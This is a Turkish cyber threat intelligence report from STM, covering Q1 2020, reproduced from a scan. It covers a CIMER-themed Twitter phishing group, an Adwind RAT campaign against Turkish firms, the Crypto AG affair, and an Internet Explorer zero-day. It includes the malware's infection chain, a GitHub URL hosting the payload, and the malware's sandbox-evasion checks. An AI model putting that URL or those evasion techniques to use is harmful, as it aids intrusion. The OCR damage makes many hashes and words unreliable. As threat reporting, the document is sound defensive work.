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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda hicbir sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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2020’nin ilk ceyreginde adindan s6z ettiren siber olaylar
agirlikll olarak; sosyal medya oltalama saldirilan, zararl
yazilimlar, Griin ve servislerde kesfedilen zafiyetler ile tek-
nolojik gelismelerin siber glivenlige etkisi ile ilgiliydi. Bu yiI-
Iin ilk raporunda 0¢ aylik dénem igcinde 6ne cikan vakalar
inceleyerek derledigimiz detayl analizler yer aliyor.

Sosyal medyadaki dezenformasyon girisimleri ile kiiresel
capta oltalama, skimming saldirilari ve zararli yaziim ak-
tiviteleri 2020°de de hiz kesmeden devam ediyor. Aralik
2019’dan bu yana diinya giindeminin ana maddesi haline
gelen koronavirls pandemisinin olusturdugu hassasiyeti
firsat bilen saldirn aktérleri, koronavirlis temasi ¢evresin-
de duzenledikleri gesitli zararli servisler ve mobil uygula-
malar ile milyonlarca kullaniciya yénelik bir tehdit dalgasi
olusturuyorlar. Koronaviriis temasi ¢cevresinde gelistirilen
zararli mobil uygulamalarin dijital magazalardaki varligi-
nin yani sira istatistiki veri sunan bazi servislerin zararl
yazilim kitlerine entegre edilerek satisa ¢ikarnldigi tespit
edildi. Ayni zamanda, koronaviriis gindem maddesi di-
sinda saldin aktérlerinin birgok kamu kurum ve kurulusu
adina actiklarl sahte hesaplar izerinden oltalama saldiri
kampanyalar yUrattikleri tespit edildi. Bazi saldirilarin
Ulkemize 6zel olarak gelistirilmesi ve sponsorlu sekilde
sunulmasi 2018-19 dénemlerinde siklikla ele aldigimiz
sponsorlu ve hedef odakli saldirilarin devam etmekte
oldugunu gosteriyor. Tespit edilen oltalama saldirilari di-
sinda zararl yazilim aktivitelerinin de éncelikli bir sekilde
devam ettirildigi gézlemleniyor. Bunlarin 2013-16 yilla-
r arasinda binlerce kullanicilyi etkileyen varyantlarinin
Turkiye 6zelindeki saldin kampanyasi baglaminda yeni
tdr olarak kabul edilen Haken Clicker zararlisi, mobil kul-
lanicilan tehdit eden Catch&See zararlisi ve zararli ya-
zihm damlahgi (dropper) olarak bilinen xHelper zararlisi
yilin ilk ceyreginde 6ne cikan tehditlerden oldu.
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Zararli ve sahte uygulamalarnn disinda agirlikh olarak
kurumsal sistemlerde risk olusturabilecek ve saldirn ak-
torlerinin radarina girebilecek yeni zafiyetler kegfedildi.
Internet Explorer’da kesfedilen sifirinci gtin acikhidi (zero-
day/0-day), CISCO driinlerinde kesfedilen tg farkl kritik
zafiyet, Apache Tomcat sunucularindaki zafiyet ve SHA-
1 &zet algoritmasi ile TPM ¢iplerinde var olan kriptogra-
fik zayifliklar da gtindem maddeleri arasina girdi.

Gelisen teknoloji ile mevcut ¢ézimlerin entegrasyon ve
orkestrasyonu 2020’nin gelecege donik glindem mad-
delerinden biridir. Bu baglamda destek silresi bitmis is-
letim sistemleri, yama ve zafiyet yonetimi ile egitim gibi
konular sik sik gindeme gelecektir. Bu dénem icinde,
teknolojik yeniliklerle birlikte ortaya ¢ikan guivenlik riskle-
rinden bankacilik ve kapali ag sistemlerinden veri sizinti-
sl olasiligi oldukga ses getiren maddeler olarak 6ne c¢ikti.
Ayrica bluetooth teknoloijisi, 10T ve akilli ara¢ sistemleri
alanlarinda tespit edilen zafiyetler gtinltik hayatimizi fark
edilebilir seviyede etkilemektedir. Bu cercevede, akill sU-
ris destek sistemlerinin manipulle edilmesinin getirece-
gi riskler, akilll aydinlatma sistemlerinin farkl sistemlere
erismek igin istismar edilmesi ve hasta saglik istatistikleri
toplayan cihazlardaki zafiyetlerin kétlye kullaniimasiyla
insan hayatini dogrudan etkileyebilecek tehditler STM
analistleri tarafindan ele alind..

Bu dénem raporumuzda inceleme konusu olarak dinya
glindeminin ana maddesi haline gelen koronaviriis pan-
demisi konusunda bir arastirma hazirladik. “Covid-19
ve Siber Giivenlik” isimli makalemizi “Dénem inceleme
Konusu” baslidi altinda bulabilirsiniz. Saglik Bakanligi’nin
uyarilarini tim calismalarimizi yuratirken dikkate aliyor
ve bu slrecte biz de #evdekal kampanyasina destek
veriyoruz.
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Bu kisimda STM Siber Fuzyon Merkezimizdeki analist-
ler tarafindan yapilan mevcut ve 6éngérilen siber saldiri,
zararll yazihm ve sifirinci gin acgikliklarina yénelik tehdit
analizlerinin sonugclari veriimektedir.

1. TURKIYE CUMHURIYETI VATANDASLARINI
HEDEF ALAN OLTALAMA SALDIRILARI

STM Siber Fuzyon Merkezi tarafindan gerceklestirilen
calismada Turkiye Cumhuriyeti vatandaglarini hedef
alan dolandiricilik, phishing (oltalama) ve kredi karti bil-
gilerini calmak igin gergeklestirilen “skimming” saldirilari
incelenmistir. Bu saldirilar arasinda tekil bir grup oldugu
disindlen ve kart bilgilerini satiyor olabilecegi deger-
lendirilen bir grup én plana ¢ikmaktadir. STM analistle-
ri tarafindan tespit edilen ve gayr resmi olarak “Cimer
Duyuru Grubu” olarak adlandirilan grubun bir seneyi as-
kin bir sliredir faaliyet gosterdigi ve olusturulan sosyal
medya hesaplar Uzerinden yollanan baglantilarla vatan-
daslar phishing sayfalarina ydnlendirerek, kredi karti bil-
gilerini elde etmeyi amacladiklarn degerlendiriimektedir.

Grubun ¢ogunlukla Twitter Gzerinden phishing ¢calisma-
larini yOrattigu tespit edilmistir. Grubun kullandigi yén-
temlerin asagidaki gibi bir seyir izledigi gérilmektedir.

Saldirganlarin kredi karti bilgisi ve bagka bilgileri elde
etmek amaciyla sahte bir web sayfasi hazirlamasi.

Alan adi kisaltmakta kullanilan bit.ly, tinyurl.com, bit.
do gibi hizmetler araciigiyla zararli sayfalara kisa
baglantilar olusturulmasi.

Twitter ve LinkedIn Gzerinden kisaltilmis baglantilarin
cesitli sosyal muhendislik ydntemleri kullanilarak ilgi
cekecek bir sekilde paylasiimasi.

Bagkalarina ait sosyal medya hesaplarinin ele ge-
cirilmesi ve phishing baglantilarinin bu hesaplardan
paylasiimasi.

Twitter Gzerinden reklam verilerek paylagimlarin daha
genis bir kitleye ulastinimasi.

Grubun faaliyetleri basina da yansimistir. Ornegi Sekil
1’de gorulebilir.

Saldirganlar tarafindan ele gegirildigi degerlendirilen ge-
sitli kullanici hesaplarinin benzer paylasimlarda bulun-
dugu tespit edilmistir. Sekil 2'deki ekran goérintisinden
anlasilacagi tzere, kisinin profilinin inandincilik saglamak
amaciyla degistirildigi degerlendiriimektedir.

Saldirganlarin sadece Tirkiye Cumhuriyeti vatandasla-
rnna karsi gerceklestirdikleri oltalama saldirlarinda bir-
den fazla sosyal medya hesabini ele gegcirdikleri tespit
edilmistir. 23 Eyltl 2019 tarihinde yapilan paylasim, hala
erigilebilir durumdadir.
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Twitter dolandiricilan
Cumhurbaskanhgi’'ni da kullandi

Kendi Glkesinde 'asin hassasiyetten' dolayi politik reklamlan
bile gostermeme karan alan Twitter, Turkiye'de dolandiricilar
tizerinden binlerce dolar kazanmaya devam ediyor.
Dolandinicilar en son Cumhurbaskanlig iletisim Merkezi'nin
(CIMER) gérsellerini kullanarak vatandaslarin kredi karti
bilgilerini calmaya calisti. Twitter da bu dolandincilik ilanimi

sitesinde yayinladi.

Sekil 1: Gazete web sayfalarinda yansiyan haber.

RSN Jadlarsll g lly il pal

] CIMER DUYURY
E

52722 SAYILI KANUN GERECI TUM KREDI
VE BANKA KART AIDATLARINI [ADE
EDIYORUZ.

YUKARIDAKI LINKTEN BASVURUNUZU
TAMAMLAYABILIRSINIZ.

Sekil 2: Saldirganlar tarafindan ele gegirildigi degerlendirilen
Twitter hesabl.

Cimer'lade’ Duyuru,

'5‘ Cimer lade Duyuru.
-

CiMER

ONEMLI DUYURU

Sekil 3: Saldirganlar tarafindan ele gegirildigi degerlendirilen
Twitter hesabi.
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* E'CIMER'TMMEB

\

TMMBCIMER

VATANDAS ONEMLI DUYURU

Gocmige Dinldk 14200t Kadar Kredi Karti Akdatlanin
lade Ediyonuz ladenizi Almak lgin Yukardaki Linkten
Bagvuru Formunu Hemen Deldurun

Sekil 4: Saldirganlar tarafindan ele gegirildigi degerlendirilen
Twitter hesabinin sponsorlu paylagimi.

Duyuru lade Online TR

¥

Sekil 5: Saldirganlar tarafindan olusturuldugu degerlendirilen
Twitter hesabi.

. Cimer iade Sistemi

Sekil 6: Saldirganlar tarafindan olusturuldugu degerlendirilen
Twitter hesabi ve sponsorlu oltalama paylagimi.

« e-Devlet Kapisi

Banka / Hesap Kartlan Kabul
Edilmemektedir...

16 Haneli Kredi Kart
Numaraniz

Kredi Karti Son Kullanma
Tarihi

Glvenlik Kodu (CVV)

Sekil 7: Twitter'da paylasilan ve oltalama baglantisinin bu adrese ¢6-
zimlendigi iddia edilen, hxxp://vatandas-maliyeportal.com alan adi.

6
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Gercgeklestirilen paylasimlara ek olarak, ele gegirilen
Twitter hesaplarn tarafindan gdnderilen paylasimlarin
sponsorlu oldugu degerlendiriimektedir. Sekil 4’teki ek-
ran goéruntisindeki paylasim, 21.02.2020 tarihini tagsi-
maktadir. Bu durum, cesitli paylagimlarin kaldinlmasina
ve cesitli hesaplarin kapatilmasina ragmen, saldirganla-
rin faaliyetlerine devam ettigine isaret etmektedir.

Bu paylasimlara ek olarak, saldirganlarin kendi actiklari
hesaplar da oldugu degerlendiriimektedir.

Twitter kullanicilarinin ihbarlan Gzerine cesitli hesaplarin
kapatildigi gézlenmistir. Bu tir durumlarla karsilasildigi
takdirde mutlaka sosyal medya platformuna ihbar edil-
melidir. ihbar gergeklestiren kullanicilardan birinin pay-
lastigi ekran goérintlsil, baglantinin artik erigilemeyen
hxxp://vatandas-maliyeportal.com/ sayfasina ¢6zim-
lendigine isaret etmektedir.

Paylasilan bilginin dogru oldugu ve hxxp://vatandas-ma-
liyeportal.com/ Uzerinden kredi karti bilgilerini elde et-
mek amagl oltalama saldinsi gergeklestirildigi iddia
edilmektedir.

1.1. Saldirganlar Tarafindan Kullanildigi
Degerlendirilen Kisaltilmis Baglantilar

Siipheli Kisaltilmis Baglantilar
bit.ly/38tfHbi
bit.ly/34usBD6

bit.ly/2TpVAUJ
bit.ly/2HIwknh

bit.ly/2I5UvVEA tinyurl.com/yyogyfk8

bit.ly/38fxNgz bit.do/e9g5S
bit.ly/2uzTJoe bit.ly/37cOM4E
bit.ly/2H4TZ00 bit.ly/2TtiieK

Tablo 1: Slpheli kisaltiimis baglantilar.

1.2. Sonuc

Siber suclularin kredi karti bilgilerini ele gecirdikleri ve
ele gegcirilen kredi karti bilgilerini deep/dark web Uzerin-
de satisa sunduklari bilinmektedir. Raporda bahsedilen
grubun kredi karti bilgilerini satisa sunduguna dair her-
hangi bir bulgu olmasa da bunu yapmalarinin muhtemel
oldugu ve faaliyetlerinin bu raporda bahsedilen saldiri-
larla sinirl olmadigi degerlendiriimektedir.

SIBER TEHDIT DURUM RAPORU
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2. TURKIYE’Yi HEDEF ALAN ADWIND RAT
KAMPANYASI

2.1. Adwind Remote Access Trojan

Adwind RAT, Java tabanli, farkli isletim sistemlerinde
calisabilen cok fonksiyonlu bir zararli yaziimdir. Ayni
zamanda AlienSpy, Frutas, Unrecom, Sockrat, JSocket
ve jRat seklinde varyantlan da oldugu bilinen Adwind,
tek bir kaynaktan Ucretli olarak kullanima sunulmaktadir.
Adwind’in 2015 yilinin sonunda 1800’e yakin kullanicisi
oldugu tespit edilmistir.

2.2. Adwind RAT Fonksiyonlari

Adwind RAT’In fonksiyonlarindan bazilari asagidaki
gibidir:

Klavye girdilerini toplamak

Tarayicida saklanan kullanici ad ve parolalar elde
etmek

Ekran gérintisi almak

Webcam Uzerinden resim ve video gekmek
Mikrofondan ses kaydi yapmak

Dosya aktarmak

Genel sistem bilgisi ve kullanici bilgisi toplamak
Kripto para cuizdanlarina dair anahtarlar elde etmek
Android cihazlarda SMS bilgilerine erismek

VPN sertifikalarini ele gecirmek

2013 ve 2016 yillan arasinda Adwind’in yukarida listele-
nen farkl varyantlarinin, ticari veya kér amaci olmayan or-
ganizasyonlardaki en az 443.000 kullanicinin kigisel bilgi-
lerini ele gecirmek icin kullanildidi degerlendiriimektedir.

2.3. Saldiri Hedefi Olan Endiistriler

imalat
Finans
Muhendislik
Tasarim
Satis
HUkUmetler
Nakliye
Telekom
Yazilim
Egitim

Gida Uretimi
Saglk
Medya
Enerji

2.4. Gecmis Saldirilara Dair loC Listesi

Zararll yazihm icin tespit edilen 6zet bilgiler Tablo 3’de
aktariimistir.
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Zararh Yazilima Ait SHA-256 Ozet Bilgileri
5f558a21a5390dbf4542c6779d98c64db9387fab2721e644948c0a6852c094c3
b723fec834c20444479fda2235a956e3abc66f30b941fbd6e50b8320fec651e8
cca30f351a20f38f12b4ee80b04a7c9499903ac7b0c6d6c34bc81d9b79d70fe3
aa7fofbct1ebdeed6321a4083b21975af0737484757bc7344551cac8eblecbla
eee094ca0c81696c3c1559e32f90f53d71c0cf966ch5155a9d0445654cd0a0fb
be4779a060f2b3ede9d9b92900c167faf8a2ac285780cf2c0bbc950a910f2951
ce77b09618281e64d80049764251caf0e15280177b5bc050be739139dcadcf
471dd701786694213a6904c884ce89b46650ea6fb45c486b0dadb76c9dd5d5cd
0562c42488537¢713dc7eb774de32909929f86f3252e570f46be48118695b807
ala57a53dcd3261ec755b09596c2923d265808306740ab6454b7€6621d0f08
5626ee6bd3e92bf80dff92a718bad8d3cbbb78f3c69060657eed3e09324fb9cc
3dbd6649fb09ctb10ch9f923bdbb5a90742a8ec540427e1afcacc132b3ba291
d0da7e3b0edc05681994218569ec724db6ff6b1b3a826cdd3ced663a1da2581a
3d5abcfd62185b6db008c1b05b990ebfb7b6fddb0154b5cchf79a44276085664

39e12bb37a68c58de98aeab67591f54ae4cec788b2c6e3fcdb372483ecb3a438

Tablo 2: SHA-256 hash degerleri.

2.5. Tiurkiye Hedefli Saldirilar

Gegtigimiz aylarda, Adwind RAT’In Turkiye'deki farkli
sektorlerden bircok sirketi hedef aldigi gbzlemlenmistir.
Hedef alinan sirket sayisinin en az 80 oldugu degerlen-
diriimektedir. Gergeklestirilen saldirlarin e-posta Uzerin-
den goénderilen BIFF uzantili Office dosyalari vasitasiyla
gerceklestigi degerlendiriimektedir. Dosyanin agilmasiy-
la “jar” uzantili ikinci bir dosya indirilmekte ve galistinl-
maktadir. Bu dosya bir dropper gdrevi gérerek, Adwind
RAT zararli yazihmini cihaz Gzerine c¢ikartir ve calistinr.
Boylelikle saldirgan hedef sistem Uzerinde komut calig-
tirabilir hale gelir.

Gergeklestirilen saldirlarin agagidaki gibi bir seyir izledi-
gi deg@erlendiriimektedir.

Saldirgan kullaniciya bir oltalama e-postasi gonderir.

Kullanici genellikle CSV veya XLS uzantili Office do-
kUmanini indirir ve acar.

Caligtirlan cmd ve powershell komutu ile hedef bilgi-
sayar github Gzerinden, docx uzantili bir “jar” dosyasi
indirir.

Caligtirilan “jar” dosyasi, komuta kontrol sunucusuna
baglanarak Adwind zararli yaziimini ¢aligtirir.

Sandbox (kum havuzu) analizi, Office dosyalarinin sira-
slyla asagidaki islemleri cagirdigini géstermektedir.

C:\Program Files\Microsoft Office\Root\Office16\EX-
CEL.EXE

C:AWINDOWS\SYSTEM32\CMD.EXE

C:\WINDOWS\System32\WindowsPowerShell\v1.0\
powershell.exe


https://www.virustotal.com/gui/undefined
https://www.virustotal.com/gui/undefined
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Calistinlan powershell komutu vasitasiyla, asagida-
ki URL'den wucgy3jecwgpv.svg dosyasinin indirildigi
degerlendiriimektedir.

https://raw.githubusercontent.com/5308682/4y-
ba8444mtcral1/gh-pages/

Saldirilarda kullanilan zararli yaziimin antiviriis Grtnleri
tarafindan tespit edilme orani disiktir. Bunun sebebi-
nin zararl “jar” dosyasinda kullanilan obfuscation (kar-
masiklastirma), anti-decompilation (anti-geri derleme) ve
sandbox evasion (kum havuzu atlatma) yontemleri oldu-

dgu degerlendiriimektedir.
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2.6. Sandbox Evasion Yontemleri

Zararl yazihmin asagidaki kontrolleri yaptigi degerlendi-
rilmektedir.

JVM default dilinin Ttrkge oldugunun kontrold.

Bilgisayarin bulundugu Ulkenin Turkiye oldugunun
(Glke diline bakarak) kontrol.

Bilgisayarin dilinin Tirkg¢e oldugunun kontrold.

Sistemin public IP adresinin Tirkiye’ye ait bir IP oldu-
gunun kontrolQ.

Zararl yazihmin, hedef bu kontrollerden gegcmedigi tak-
dirde, farkli davranarak antiviris ve sandbox ¢éziumleri-
ni atlatmay hedefledigi degerlendiriimektedir. Ayrica, bu
kontroller saglandigi takdirde, zararli yazilmin hedef bil-
gisayar Uzerinde kurulu olan antivirs bilgilerini komuta
kontrol sunucusuna ilettigi degerlendiriimektedir.

2.7. Giincel Saldirilara Dair loC Listesi

Zararl dosyalar icin tespit edilen SHA-1 hash’leri asagi-
dadir. Listede yer alan hash bilgilerinin glivenlik bilesen-
lerine tanimlanmasi énerilmektedir.

Zararh Yazilima Ait SHA-1 Ozet Bilgileri

8ca09bebeb4bc1f8a2b5e50d488381d58a9f9fc
981c98fal370ee934a2754a457a830bcf1e381fbe
ce0b09339b565a6613b505a372f83f4003a81190
1a5aefbf734564b499f2c0f7269dadb6ed1d95f6
7f3f31249c0390846df9ffdcb246ae49bc9falad
c71663808fcbab56682602c9e97de8c3a761f4ed
5749253092cad3e8f7ddf50ce04beda666005c06
aeb56403f3d3950a530663dca5ech7530d7fec3d
0914962f88e854527d9b4822fa6d2ff31abc88d4
09924689f83e9136877{707f853bd906e47abb28
57045445bb365d711c411f3d61dcc71c416a29b1
81dd7442049535b1e1c5f2904a1e02a6a67ce3ad
884bf4ae3b1ecaeabc058f19fce92fbe09214ect
8ca09bebeb4bc1f8a2b5e50d488381d58a9f9fc
9c2360e8b2256¢cc7e839e215b5b1892d997378c7
20413ca7b6b034be9e492a949b92dad96171b96a
29f03c2651f1f555ec55d0cbee0d937c859c4 7 af
2c71a5896716b12742be84f11a2b6644cb1d08d5
350618e55e6¢7c2c572f7ba22319991881c956¢9

Tablo 3: SHA-1 hash degerleri.
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40050a73fdb3dee718a77c2b300ca7d1c1a62b96
7¢179f13f2e16bb77df0ef0105368be66477cb56
7d6c9f8b025cf5dcf2a214b3f407e46d2174d4d5
7ee216ddb55b31f6657d5ef2f4b383ca5205cal 1
b3e8a2cfa3c711b4cca896e586fc2c0dd1a64576
cabbb68098d965fc6d22e236d7147905a8a5b313
db7b06a0b551892ec93fe06fa3df4da07b3b407c
e13bcdcf48575579f1b6ec923cf0a61c6c9bel1d0
efec9d9d8234ac7bee2482601cb44f295d72bf47
867226868146118784a1caad4509653524560008
1ad020f084ee146c4bff08e94c6c162c2cdcdbb7
20043296337725ad3dc6e304642d1f932c781f48
43922917c4cbedc248808d592e3a2eec3671639b
5d87e1fdba078f591beed4cde00daf59d83e38129
b3281798cc961738f9c7e6b269492c0f9bb47f08
b4a8dfe2eebaf436c021458e515baf39ed812740
dd0e3c99d3a62e4b45008ffb2f9f046399dc9603
72bd643d71cd725ac59e6fc76a4617180e652ddf
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3. CRYPTO AG SKANDALI

Subat ayinin basinda Washington Post ve ZDF tarafin-
dan yaklasik 50 yildir dinyanin en guvenilir sifreleme
firmalarindan biri olan Crypto AG’nin aslinda CIA ve
BND’nin sahip oldugu bir sirket oldugu ifsa edildi. 21.
ylzyila kadar diinya capinda 120’den fazla lilke haber-
lesme glivenligini Crypto AG’ye teslim etmisti. isvigre
merkezli sirketin sahiplerinin uzun bir slre boyunca
CIA ve BND oldugu ortaya cikti. Washington Post’un
“Yiizyilin istihbarat Darbesi’” bashdiyla verdigi bu ha-
berle ilgili detaylan inceledigimizde, sirketin kurucu-
su Rusya dogumlu bir gé¢cmen olan Boris Hagelin’in
Bolsevik Ihtilali’nden sonra isveg’e, sonra Hitler Norveg’i
isgal edince de ABD’ye gdctiguni ve ABD’ye gider-
ken yaninda goéturdigid M-209 isimli sifreleme cihazini
Amerikan Ordusu’na sattigini anliyoruz. Savas boyunca
140.000 tane M-209 Uretilmis ve sonrasinda Hagelin ka-
zandigi para ile déniip isveg’te yeni bir firma kurmustur.

Sonrasinda da istihbarat servislerinin dikkat odagindan
¢cilkmayan Hagelin, yakin arkadasi Amerikali kriptolog
William Friedman sayesinde CIA ile anlasmaya varmis-
tir. ilk etapta CIA yalnizca gok ileri versiyonlarin belirtilen
Ulkeler haricindekilere satilmamasi Uzerine bir talepte
bulunmus, bunun karsiiginda ise énden 700.000 dolar
vermeyi dnermistir. Hagelin ABD’ye olan sempatisiyle
anlagsmayi kabul etmis ve aralarindaki iligki bu sekilde
baslamigtir.

ilerleyen yillarda da bu kontrat belirlenen tarifeler tizerin-
den devam etmigtir. Belirli bir asamadan sonra Amerikali
yetkililer Hagelin’den cihazlara Amerikall kriptolog-
larin mudahale etmesini istemeyi disinmugseler de
Friedman buna Hagelin’in karsi ¢cikacagini belirtip engel-
lemistir. Fakat elektronik devrelerin gelismesiyle birlikte
Hagelin ikna edilmis ve bundan sonra NSA'de gorevli
kriptologlarin dizayn ettigi H-460 versiyonu 1967°de pi-
yasaya surulmastir. Burada izledikleri metot ise cihazla-
ra bir arka kapi birakmaktan ziyade ¢6zllmesi kolay olan
bir algoritma uygulamak olmustur.

Sirket her zaman iki versiyon Uretmistir. Birisi glivenilen
dost hikiumetlere satilan guivenli versiyon, dideri ise geri
kalan ulkelere satilan sifresi kolaylikla kirlabilir versiyon.
Elektronik devreli sifreleyicilerin piyasaya girmesiyle sa-
tiglarda buyuk patlama yasanmis ve hukimetler ciddi
miktarlarda alis yapmistir.

1960’larin sonlarina dogru Hagelin 80 yasina yaklas-
misti ve sirketin gelecegini glivence altina almak igin
neler yapabilecegini dislinmekteydi. Bu sirada CIA de
Hagelin’in 6luminden sonra mevcut operasyonun na-
sil devam edecedi ile ilgili kaygilar tagiyordu. Hagelin’in
sirketi ogluna devretme fikrine CIA siphe ile yaklas-
maktaydi ve 1970 senesinde oglu bir trafik kazasinda
hayatini kaybetti. Herhangi bir suikast belirtisi olmadigi
sdylendi.

SIBER TEHDIT DURUM RAPORU
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Amerikall istihbarat yetkilileri sirketi satin almayi disin-
seler de CIA ve NSA arasindaki anlasmazliklardan &tirG
bir tarlG aksiyon alinamamisti. Ta ki iki bagka istihbarat
servisi sahneye girene kadar. Fransiz ve Alman istihbarat
servisleri bir sekilde operasyondan haberdar olmus ve
dahil olmak istemiglerdi.

Fransiz yetkiller 1967 yiinda Almanlar ile birlikte
Hagelin’den sirketi satin almak istemigler ancak Hagelin
bunu reddetmis ve CIA’ye bildirmistir. Sonugta operas-
yon, Fransizlari bir sebeple disarnida birakarak CIA ve
BND ortakligina déntismis, CIA ve BND 1970 yilinda
sirketi 5,75 milyon dolar karsiliginda satin almak Uzere
anlagsmistir.

Ortakliklan boyunca BND’nin ticari anlamda da bir bek-
lenti igine girmesi CIA’yi rahatsiz etmis ve bundan dolayi
sikintilar yasanmigtir. Ote yandan Amerikalilarin da en
yakin dostlarini bile dinleme arzusu Almanlar rahatsiz
etmis ve bu da birtakim sikintilara sebep olmustur.

En yeni teknoloji Urlnleri cikaran sirketin yénetimin-
de zorlanan CIA ve BND disaridan da destek almistir.
Siemens firmasi verdigi danismanlik karsiliginda sirketin
satigslarindan ytzde 5 pay almistir. Ayni sekilde Motorola
da CIA varligini bilerek danismanlik hizmeti vermistir.
Siemens bu iddialara yorum yapmamay! tercih etmis,
Motorola ise cevap dahi vermemistir. Karlihga bir 6rnek
olarak, 1970 yilinda 15 milyon frank olan satiglar 1975’te
51 milyon franka ¢ikmistir.

Operasyon slresince musterilerde bazi sipheler olus-
mus ve bu kuskular operasyonu ciddi anlamda tehlikeye
atacak seviyelere gelmistir. Bunlardan biri 1986 yilinda
Bati Berlin’deki bir diskoya yapilan bombali saldirndir.
Saldinda iki Amerikan askeri ve bir Tirk kadin yasamini
yitirmigtir. Zamanin ABD Bagkani Reagan bu saldirinin
Libya tarafindan yapildigini duyurmus ve bununla ilgili
“direkt, net ve ¢uritilemez” kanitlar oldugunu séylemis-
tir. Ayrica Berlin’deki Libya blylkelgiliginin bombalama
sonrasinda operasyonun basarili oldugunu ilettigini be-
lirtmistir. Bunun neticesinde iran cihazlarla ilgili biyik
supheler duymaya baglamigsa da 6 yil sonrasina kadar
harekete ge¢cmemistir.

Ayni sekilde sirketteki herkesin bu operasyondan ha-
berdar olmadigi belirtilmigtir. Yonetimdeki birkag Kkisi
haricinde CIA ve BND baglantisi bilinmemekteydi. Buna
ragmen sirket mensubu yetkin calisanlar zaman zaman
uygulanan algoritmalari sorgulamisti. Bunun da operas-
yonun sekteye ugramasina sebebiyet verecedi belirtil-
misti. Bu uzmanlardan biri olan Mengia Caflisch 1978’de
ise baslamisti. Algoritmalarin zayif oldugunu fark edip
bununla ilgili bir seyler yapmaya calistiysa da basari-
Il olamamisti. Cevresine Crypto AG’de tamamen 6zglr
gelistirme yapmanin mimkudn olmadigini sdylemisti.

iran’in 1992 yilinda sirketin iran’dan sorumlu satis ele-
manini tutuklamasiyla isler farkl bir boyuta gecmisti.
Sirketin en basaril satis elemanlarindan sayillan Hans

9
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Buehler 9 ay sonra 1 milyon dolar karsiliginda serbest
birakilimigti. Bu meblag BND tarafindan karsilanmisti
¢cunkld Amerikan politikalan buna musaade etmiyordu.
Daha sonra 1995’te NSA hakkinda bir haber dizisi ya-
yinlayan Baltimore Sun gazetesi bu ifsalara bir yenisini
eklemisti.

Siphe uyandiran bu gelismelerden sonra aralarinda
Arjantin, italya, Suudi Arabistan, Misir ve Endonezya’nin
bulundugu Ulkeler sdézlesmelerini sonlandirmis veya as-
kiya almistir. Burada ilging olan iran’in hizmet almayi
kesmemis olmasidrr.

1993 senesinde daha fazla risk almak istemeyen
Almanya operasyondan cikmak istemis ve 17 milyon
dolar karsiiginda hisselerini CIA’e devretmistir. 2000’le-
rin baglarindan itibaren karihig azalmis olsa da CIA
para destegi saglayarak operasyonu devam ettirmistir.
Operasyondan haberi olan bircok ydnetici ideolojik se-
beplerden dolayl kendi maaglarinin tzerinde bir sey iste-
memis ve bu sekilde hizmet etmislerdir. BND ortakliktan
ciktiktan sonra CIA'in benzer bir sirketi satin aldigi ve bir
bagkasini da maddi olarak destekledigi belirtiimektedir.

2017 senesinde sirketin Basel’deki merkez binasi satil-
mig, 2018’de de geriye kalan tum varliklar elden gikaril-
mistir. Hagelin’in sirketinin 48 sene énce CIA ve BND’ye
satisini diizenleyen Liechtensteinli hukuk firmasi bu kez
de sirketin tasfiyesini gerceklestirmistir.

isvicre operasyonlarini CyOne firmasi, uluslararasi he-
saplari ve is varliklarini da Linde adinda bir isvecli gi-
risimci satin almigti. CyOne Crypto AG’nin gecmisi
hakkinda bir yorumlar olmadigini agiklamig, Linde ise
duydugunda sok olmus ve hayal kirikligina ugradigini
belirtmistir.

Bilgi gtivenligi konusunda ¢ok 6nemli bir olay olarak kar-
simiza ¢ikan Crypto AG operasyonu, bu alandaki yerli
¢6zUmlerin dnemini bir kez daha gézler 6nline sermigtir.

Bu kisimda, kiresel capta ses getiren siber saldirn va-
kalarina ait detaylar sebep sonug iligkisi ¢cercevesinde
incelenmektedir.

4. MICROSOFT INTERNET EXPLORER
SIFIRINCI GUN ZAFIYETi VE AYIN KRITiK
ZAFIiYETLERI

Microsoft sistemlerinde bulunan zafiyetlerin gideriime-
si amaciyla geleneksel olarak sali glnleri yayinlanan
“Patch Tuesday” yamalari, 2020 Subat ayi icin toplam-
da 99 adet zafiyete ydnelik yama icermektedir. Bu sefer
Microsoft’'un yasam déngisinid tamamlayan Windows
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7’ye yodnelik destegini sonlandirmasiyla ilk defa Windows
7 kullanicilarina yénelik yama bulunmayan bir “Patch
Tuesday” yayinlanmis oldu.

Subat ayinda Internet Explorer (izerinde bulunan sifirinci
gln (Oday/zero-day) zafiyetine yonelik bir yama, sistem-
de hak yukseltme iglemleri icin kullanilabilecek birkag
zafiyet, Microsoft Office, Edge ve Exchange Server dahil
olmak Uzere toplam 99 adet yama bulunuyor. Bunlarin
10°u kritik, 87’si yUksek, 2’si ise orta derece olarak sinif-
landirimigtir.

Internet Explorer (izerinde bulunan glvenlik agigini kul-
lanabilen saldirganlar, Windows Uzerinde oturum agan
bir kullaniciyla ayni kullanici izinlerine sahip olabilir. Eger
oturum acan kullanici yonetici (admin) yetkilerine sahip
ise, saldirgan da yetkin bir kullanici gibi sistem Uzerin-
de program yukleyebilir, verileri degistirebilir/silebilir ve
baska kullanicilar olusturabilir. CVE-2020-0674 koduyla
yayilan Internet Explorer zafiyetinin yamasi gecilmeden
de zafiyeti engelleyebilmek icin ydnetici (admin) hakla-
riyla asagida belirtilen Windows komutlari ¢alistirilabilir.

32-bit sistemler icin:

takeown /f %windir%\system32\jscript.dll
cacls %windir%\system32\jscript.dll /E /P everyone:N

64-bit sistemler icin:

takeown /f %windir%\syswow64\jscript.dll
cacls %windir%\syswow64\jscript.dll /E /P everyone:N
